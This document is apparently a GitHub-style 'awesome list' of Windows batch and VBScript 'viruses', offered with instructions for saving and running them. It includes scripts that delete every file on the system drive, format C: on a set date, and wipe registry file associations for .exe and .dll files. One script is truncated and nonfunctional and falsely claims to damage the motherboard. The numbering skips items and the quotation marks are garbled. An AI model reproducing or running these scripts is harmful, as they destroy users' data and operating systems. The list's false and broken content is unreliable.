The Awesome List of Computer Viruses!

1. Deletes all content of a drive

virus1.bat

 @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2. Time Bomb Virus, formats C: on 25 November 2023

virus2.bat

If %date% NEQ 2023/11/25 goto exit
format C: /y >nul
:exit
exit

The Date, Time, and the Drive to be formatted can be changed.

3. Crash Ur Windows Xp

virus3.bat

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)

Dim x
For x = 1 to 100000000

This beautifully ridiculous virus only works for Windows XP, and besides formatting the drives, it damages the motherboard.

4. Delete Key Registry Files

virus4.bat

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been f*cked. Have a nice day :)
GOTO MESSAGE

### 8. Crazy Caps Lock
Read More

virus8.bat

Set wshShell =wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop
This repeatedly toggles your Caps Lock key. It is fully harmless and aborts (unindependently) on reboot, or once this task is ended in your task manager. This may cause your capslock key's LED to flicker when ran physically.

### 9. Endless Backspace

Most, if not ALL viruses can cause some serious harm, and many of them are not detectable by modern Antiviruses. The virus game is not an easy one. So, PLEASE handle these with care, and PLEASE be sure about what you are doing. To avoid serious problems, the `#include` libraries of some have been removed. To examine this repo, download the repo, and extract the repo. Or, copy-paste the code from here to Notepad, and save as `.bat` (Text Encoding : ASNI). These viruses work only on Windows.
